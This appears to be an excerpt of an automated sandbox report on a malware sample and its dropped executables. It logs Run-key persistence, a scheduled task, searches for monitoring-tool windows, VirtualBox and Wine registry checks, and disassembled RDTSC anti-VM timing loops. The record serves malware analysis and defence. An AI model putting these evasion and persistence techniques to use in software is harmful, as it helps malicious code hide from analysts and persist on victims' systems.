Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f20b4c0961.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d146970153.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 44452951d3.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e2af9f55fd.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f20b4c0961.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f20b4c0961.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e2af9f55fd.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e2af9f55fd.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d146970153.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d146970153.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 44452951d3.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 44452951d3.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes	Jump to behavior

Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	System information queried: FirmwareTableInformation			Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7B1582 second address: 7B15A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F16Ah 0x00000007 jmp 00007F7A2D39F175h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7B15A9 second address: 7B15AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7B15AD second address: 7B15B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7B15B9 second address: 7B15BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7B15BF second address: 7B15CC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7B49D8 second address: 7B49DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7B49DC second address: 7B4A33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F7A2D39F171h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push edx 0x00000012 jmp 00007F7A2D39F173h 0x00000017 pop edx 0x00000018 mov eax, dword ptr [eax] 0x0000001a push edi 0x0000001b pushad 0x0000001c jmp 00007F7A2D39F174h 0x00000021 push edx 0x00000022 pop edx 0x00000023 popad 0x00000024 pop edi 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7B4A33 second address: 7B4A37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7B4A37 second address: 7B4A4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F16Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7B4A4C second address: 7B4ABC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 adc si, B0EEh 0x0000000d push 00000003h 0x0000000f mov dword ptr [ebp+122D19E2h], esi 0x00000015 push 00000000h 0x00000017 jns 00007F7A2CC6ACECh 0x0000001d mov dword ptr [ebp+122D24B4h], eax 0x00000023 push 00000003h 0x00000025 add dword ptr [ebp+122D1F84h], eax 0x0000002b mov edx, dword ptr [ebp+122D3B53h] 0x00000031 push 964B90F3h 0x00000036 jmp 00007F7A2CC6ACF4h 0x0000003b xor dword ptr [esp], 564B90F3h 0x00000042 mov dword ptr [ebp+122D2B95h], edx 0x00000048 add dword ptr [ebp+122D1F84h], ecx 0x0000004e lea ebx, dword ptr [ebp+124597C5h] 0x00000054 xor dword ptr [ebp+122D21FFh], esi 0x0000005a xchg eax, ebx 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7B4ABC second address: 7B4AC6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7A2D39F166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7B4AC6 second address: 7B4ACC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7B4B59 second address: 7B4B8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F7A2D39F16Ch 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 jmp 00007F7A2D39F176h 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 7B4B8A second address: 7B4B8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
